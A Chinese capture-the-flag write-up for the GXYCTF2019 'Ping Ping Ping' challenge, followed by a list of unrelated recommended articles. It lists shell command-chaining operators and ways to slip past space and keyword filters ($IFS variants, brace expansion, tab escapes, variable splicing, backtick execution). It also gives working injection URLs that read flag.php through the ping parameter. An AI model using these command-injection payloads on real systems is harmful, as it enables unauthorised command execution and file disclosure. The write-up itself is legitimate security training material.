web——[GXYCTF2019]Ping Ping Ping1——过滤和绕过

0x00 考点

0、命令联合执行

; 前面的执行完执行后面的

| 管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)

|| 当前面的执行出错时(为假)执行后面的

& 将任务置于后台执行

&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真

%0a (换行)

%0d (回车)

1、命令绕过空格方法有:

{IFS}9

{IFS}

$IFS

${IFS}

IFS1 //1改成加其他数字貌似都行

IFS

<

<>

{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来

%20 (space)

%09 (tab)

X='cat\\x09./flag.php';X (\x09表示tab,也可以用\x20)

ps:有时会禁用cat:

解决方法是使用tac反向输出命令:

linux命令中可以加\,所以甚至可以ca\t /fl\ag

2、内联执行

内联,就是将反引号内命令的输出作为输入执行

?ip=127.0.0.1;catIFS9`ls`

$IFS在Linux下表示为空格

9是当前系统shell进程第九个参数持有者,始终为空字符串,后可以接任意数字

这里IFS9或IFS垂直,后面加个与{}类似,起截断作用

原文链接:https://blog.csdn.net/vanarrow/article/details/108295481

这个题先ping一下,可以ping通,直接ls看看

0ef4f16b-2de2-41d3-bfcf-6d06f7a9fb60.node5.buuoj.cn:81/?ip=127.0.0.1;ls

然后cat一下flag.php看看

wc,它骂我,额,,,是空格的过滤

0ef4f16b-2de2-41d3-bfcf-6d06f7a9fb60.node5.buuoj.cn:81/?ip=127.0.0.1;cat{IFS}flag.php

也过滤了{},用$IFS$1代替

flag.php里没有东西

在index.php里找找

代码审计

过滤了许多的字符

1.源码中有一个$a可以覆盖

?ip=127.0.0.1;a=f;catIFS1$alag.php 过滤

?ip=127.0.0.1;a=l;catIFS1f$aag.php 没flag

?ip=127.0.0.1;a=a;catIFS1fl$ag.php 过滤

?ip=127.0.0.1;a=g;catIFS1fla$a.php 有flag

?ip=127.0.0.1;a=fl;b=ag;catIFS1ab.php 过滤

?ip=127.0.0.1;b=ag;a=fl;catIFS1ab.php 有flag

使用ctrl+u查看源码

、变量ab互换传递,绕过字符串匹配,实现拼接

复制代码
?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php

?ip=127.0.0.1;b=lag;a=f;cat$IFS$a$b.php
相关推荐
excel6 分钟前
Nuxt 中使用 useHead 优化 SEO 与 GEO
前端
IT_陈寒1 小时前
SpringBoot启动慢得像蜗牛?原来是这个配置在捣鬼
前端·人工智能·后端
计算机魔术师1 小时前
Muse Spark跑赢Gemini,但真正的底牌是这种设计
前端
PYB31 小时前
【Web·JS·基础】函数的使用和展运算符...objs
前端·javascript
指针向南2 小时前
Chrome读不了HEIC怎么办:原生解码和WASM两条路
前端·图像处理·人工智能·chrome·计算机视觉·wasm
默_笙2 小时前
🚥 给 RAG 装一台心电监护仪:LangSmith 全链路观测(上)
前端·javascript
前端snow3 小时前
ai agent --- mem0 外挂记忆系统
前端
特立独行的猫a4 小时前
用仓颉写一个 Tauri:IPC 的每次往返实现原理(web层到仓颉层的触发过程)
前端·ui·harmonyos·tauri·鸿蒙·仓颉
Dovis(誓平步青云)4 小时前
多个链接不等于多份证据,新闻核验看板怎样合并来源
java·服务器·前端·javascript·人工智能·pdf·电脑
骑着蜗牛撵大象3274 小时前
Qt 事件机制详解:从 QEvent 派生类到事件过滤器的全景指南
前端·python